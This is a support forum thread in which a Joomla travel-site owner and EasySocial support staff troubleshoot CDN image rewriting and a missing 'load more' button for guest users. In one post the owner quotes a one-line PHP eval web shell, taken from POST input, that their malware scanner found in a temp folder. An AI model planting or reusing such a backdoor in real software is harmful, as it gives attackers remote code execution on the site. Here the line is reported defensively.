By Colin Girard on Sunday, 17 December 2017
Posted in General
Replies 41
Likes 0
Views 560
Votes 0
Sorry to be such a pain, but i just noticed that our es images are not using our cdn.

As per ES documents we have es settings set to https://cdn.ehcanadatravel.com is this correct?

we also have Regular Labs - CDN for Joomla

screenshot of our homepage attached
Hey Colin,

The cdn url is meant for replacing the url on the css and javascripts. If you need to serve images via a CDN, you should use a plugin like "CDN for joomla" as it replaces urls with cdn urls, https://www.regularlabs.com/extensions/cdnforjoomla
·
Sunday, 17 December 2017 14:45
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Mark,

We do use Regular Labs - CDN for Joomla, it is working on our site for images, just not the ES ones as per the last screenshot.

Colin
·
Sunday, 17 December 2017 14:56
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

I am really sorry for the delay of this reply as it is a weekend for us here. Hm, this is really odd because we are using the same CDN plugin on our demo site at http://easysocial.stackideas.com/ and it does replace the urls to a cdn url correctly.

Is it possible for you to check with the guys from CDN For Joomla and see if they are aware of any issues with JCH?
·
Sunday, 17 December 2017 23:09
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Mark,

we do not have an account with regular labs at the moment. ...looks like u need an account to ask questions. I could not find any information in a search.

We do have JCH installed but are not using at the moment, could that be the cause?
Do u recommend using JCH?

Colin
·
Monday, 18 December 2017 02:38
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

I believe you do have an account from Regularlabs, because i realised you using 6.0.7PRO version, if free version, it shouldn't show PRO version.

I am not sure whether their latest version did cater this fix or not, I did checked their changelog for this newest version did fixed something related image URL, perhaps you can try find a way to consult with them and see how it goes.

https://www.regularlabs.com/extensions/cdnforjoomla/changelog

We do have JCH installed but are not using at the moment, could that be the cause?
Do u recommend using JCH?

If you doesn't enable this JCH optimized plugin, i believe this issue will not related with JCH pptimized plugin.
Currently I am not really familiar with JCH optimize plugin so I was unable to share the experience to you regarding this case.
·
Monday, 18 December 2017 11:34
·
0 Likes
·
0 Votes
·
0 Comments
·
if free version, it shouldn't show PRO version.

It is not an active account, so I cannot put in a request.

If you doesn't enable this JCH optimized plugin, i believe this issue will not related with JCH pptimized plugin.

Not sure why JCh is in this conversation, we do not use it, and have not had the problem before.

I will try the free version of cdn for joomla on our dev site and see if that changes anything.

Thanks Arlex
Colin
·
Monday, 18 December 2017 20:28
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

Thanks for updating us on this, let us know how this goes but ideally, if you are using CDN for Joomla, it will / should replace the urls of image tags.
·
Monday, 18 December 2017 21:17
·
0 Likes
·
0 Votes
·
0 Comments
·
Holding off on trying the free version on the dev site, as free version does not work with ssl, so will probably just cause more headaches and wasting of time.

I did do a search for anything related to cdn for joomla and ES and found nothing.

Seems strange as it is only the ES stream images that are having the issue. All others, (except ads), work. Even the es profile images.
·
Monday, 18 December 2017 21:24
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

Hm, perhaps you could test it on a development site first?
·
Monday, 18 December 2017 21:31
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Mark,

Hm, perhaps you could test it on a development site first?


Yeah, that was the plan but the dev site is ssl as well. So would be a few more hours of time, as would have to then trash the dev site, backup live site, restore etc. Hence my hesitation as there are just too many things I'm behind on already. looking for a conflict or something, then have to move on for now.
·
Monday, 18 December 2017 21:40
·
0 Likes
·
0 Votes
·
0 Comments
·
Hm, since it is a dev site, isn't it possible to just switch off the SSL?
·
Monday, 18 December 2017 21:41
·
0 Likes
·
0 Votes
·
0 Comments
·
yes, but to get the pro verion back in, would need to do the backup thing, as I no longer have the orig pro version. None the less, I will do that.

I did just notice that our community stream just ends after the first set of 10.
https://www.ehcanadatravel.com/community
screenshot attached.

UPDATe: still no go on the dev site with newest cdn plugin
·
Monday, 18 December 2017 21:48
·
0 Likes
·
0 Votes
·
0 Comments
·
Hm, not sure what do you mean here. Do you mean you want more than 10 items to show up initially? This can be configured in the settings, http://take.ms/uUYbp
·
Monday, 18 December 2017 21:52
·
0 Likes
·
0 Votes
·
0 Comments
·
nope, want people to be able to see all stream items in the community, it used to auto load the rest. increasing the initial amount seen will just slow down the site.
·
Monday, 18 December 2017 22:06
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

I found out what is the reason why it didn't convert those Easysocial image link to CDN domain, it seems like this plugin "System - Regular Labs - CDN for Joomla!" only convert to CDN domain if those image link use relative path (e.g. /images/picture.jpg) based on what you set from that plugin setting, you can refer on my attached first screenshot below.

Note : if the image too small, when you open that image, you can right click and choose open another new tab for view this image, then you can zoom that image.

If you set this full domain name (https://www.ehcanadatravel.com) from the plugin setting what I described in my attached second screenshot, it will convert those Easysocial image link to CDN domain but for other image who use relative path, then it will not convert to CDN domain.

This is the part what i found out, it would be best if you can find a way to consult with RegularLab developer and see whether they can allow admin to set multiple "Site Root" so any image link also can able to convert to CDN domain.

Imagine for those external link which not belong to your site domain, it will not convert to CDN domain at all.
For example : If I add one of the external image link (https://stackideas.cachefly.net/images/easyblog_articles/645/b2ap3_large_es21alpha.png) into one of the article which published on your site, this image link will not convert to CDN domain.

nope, want people to be able to see all stream items in the community, it used to auto load the rest. increasing the initial amount seen will just slow down the site.

I have a little bit lost here, are you referring non-login user or logged in user access your community page?
·
Tuesday, 19 December 2017 11:12
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Arlex, You are indeed the man!

I will look into the cdn, thank you for finding out what the issue is!!!

So it is one or the other, either the stream images work, and the rest of the site doesn't or vice versa.

No way for es stream images to be relative links eh?
Strange no one else has had this issue.. I will see what I can do
Sounds like their last update was supposed to fix this? but it did not work, will try again.
"6.0.9 - Fixes issue with urls with prepending full domain sometimes not getting converted"


I have a little bit lost here, are you referring non-login user or logged in user access your community page?


We have always stated that everything should be public. So Anyone viewing the stream should be able to see all posts without having to login.

Thanks again my friend!
·
Tuesday, 19 December 2017 12:14
·
0 Likes
·
0 Votes
·
0 Comments
·
Just tested the new cdn for joomla on the dev site, and once configured properly looks like it does work.

Thanks again for your efforts!
Colin
·
Tuesday, 19 December 2017 14:05
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

Thanks for getting back to us you did manage to make it work in your development site.
Perhaps you can share with us how you make it work so next time when other user hitting the same issue, then we can suggest them how to make it work.

No way for es stream images to be relative links eh?

Yes, unfortunately that was not possible to show relative image link in currently.

We have always stated that everything should be public. So Anyone viewing the stream should be able to see all posts without having to login.

I believe i did explained to you in previously, in Easysocial we doesn't populate that load more button in public on the stream listing page.
·
Tuesday, 19 December 2017 16:16
·
0 Likes
·
0 Votes
·
0 Comments
·
I believe i did explained to you in previously, in Easysocial we doesn't populate that load more button in public on the stream listing page.


So unless someone is signed in they cannot see more than the initial posts setting?
As our site is a travel guide, where members add posts to promote their business and their area, that raises some questions:
If someone goes to a profile are they able to view all that profile's posts, without logging in?
i.e. I just tried to go to a profile without logging in, it says I have to login first... This is not good, as profiles are used to promote that members business. This is a very big issue for us. If this is not possible, we are fucked.

Our plan and main reason for moving to ES is to use the plugin that allows tagging of posts so that they show on the joomla page, set with that tag. Will all people be able to see those posts?

Are you serious, just clicked on an event on our homepage and could not view it without logging in!!!
Members add events and other things to promote the event. But noone can see them. We have events broadcasted throughout social media. But noone can see them!! ****, ****, ****!!
·
Wednesday, 20 December 2017 23:06
·
0 Likes
·
0 Votes
·
0 Comments
·
I am sorry that if i didn't explained properly in earlier of my replies.

So unless someone is signed in they cannot see more than the initial posts setting?
As our site is a travel guide, where members add posts to promote their business and their area, that raises some questions:

Yes, by default it will only show a list of stream on this page https://www.ehcanadatravel.com/community.html based on what you set that setting from here http://take.ms/YWAOQ .

All the stream will be accessible by public user, it only do not show all the stream on this page https://www.ehcanadatravel.com/community.html


If someone goes to a profile are they able to view all that profile's posts, without logging in?
i.e. I just tried to go to a profile without logging in, it says I have to login first... This is not good, as profiles are used to promote that members business. This is a very big issue for us. If this is not possible, we are fucked.

Yes, if the public user access their user profile page, it will only show 20 stream without the load more stream button, but those user still can able to access it if they know that stream/event URL.

Our plan and main reason for moving to ES is to use the plugin that allows tagging of posts so that they show on the joomla page, set with that tag. Will all people be able to see those posts?

Yes, those public user can see those public stream post when you click on somewhere if that is the newest stream.

If that is oldest stream, it might not show in that stream listing page within 20 stream on the page, because by default we didn't show that load more button for guest user.

Are you serious, just clicked on an event on our homepage and could not view it without logging in!!!
Members add events and other things to promote the event. But noone can see them. We have events broadcasted throughout social media. But noone can see them!! ****, ****, ****!!

If that event post in public, public user should able to access it.

Perhaps you can share with me which event you try to access so I can better have a check?

Based on what i checked on dashboard page https://www.ehcanadatravel.com/community.html here, I only see this event Calgary's New Years Eve Celebration, when i click on it as guest user, it seems like I can able to access it, you can refer on my screenshot below.
- http://take.ms/92UZu4
- http://take.ms/SI1kh

If you really want to display that load more button for guest user, I can provide you some of the hack code but when you update to next higher Easysocial version, you have to re-hack back those custom code into your site.

If you agree with this, I will add those custom code into your site in order to show that load more button for guest user
·
Thursday, 21 December 2017 11:16
·
0 Likes
·
0 Votes
·
0 Comments
·
yes pls

did you guys by chance add anything to our site with the code <?php @eval($_POST['sense']);?>45000.
Our malware picked that up
·
Friday, 22 December 2017 00:14
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Colin,

That code is definitely not from us. Where is the codes added on?
·
Friday, 22 December 2017 00:22
·
0 Likes
·
0 Votes
·
0 Comments
·
found in /tmp/phpcgAHD4
/var/tmp/phpcgAHD4

doing a thorough scan
changed our passwords
·
Friday, 22 December 2017 00:37
·
0 Likes
·
0 Votes
·
0 Comments
·
We do not have any core files under this tmp folder.
·
Friday, 22 December 2017 10:10
·
0 Likes
·
0 Votes
·
0 Comments
·
ok thanks Arlex.

If you agree with this, I will add those custom code into your site in order to show that load more button for guest user


Just a check to see if you where able to do the hack and/or provide to me what need to be done, so I can do it after future updates?

Happy Holidays Buddy!
Colin
·
Sunday, 24 December 2017 02:33
·
0 Likes
·
0 Votes
·
0 Comments
·
I already applied some customisation into your site.

JoomlaFolder/components/com_easysocial/controllers/stream.php
JoomlaFolder/components/com_easysocial/themes/wireframe/stream/default/default.php
JoomlaFolder/components/com_easysocial/views/dashboard/view.html.php


It should show that load more stream button on public now.
·
Sunday, 24 December 2017 11:00
·
0 Likes
·
0 Votes
·
0 Comments
·
View Full Post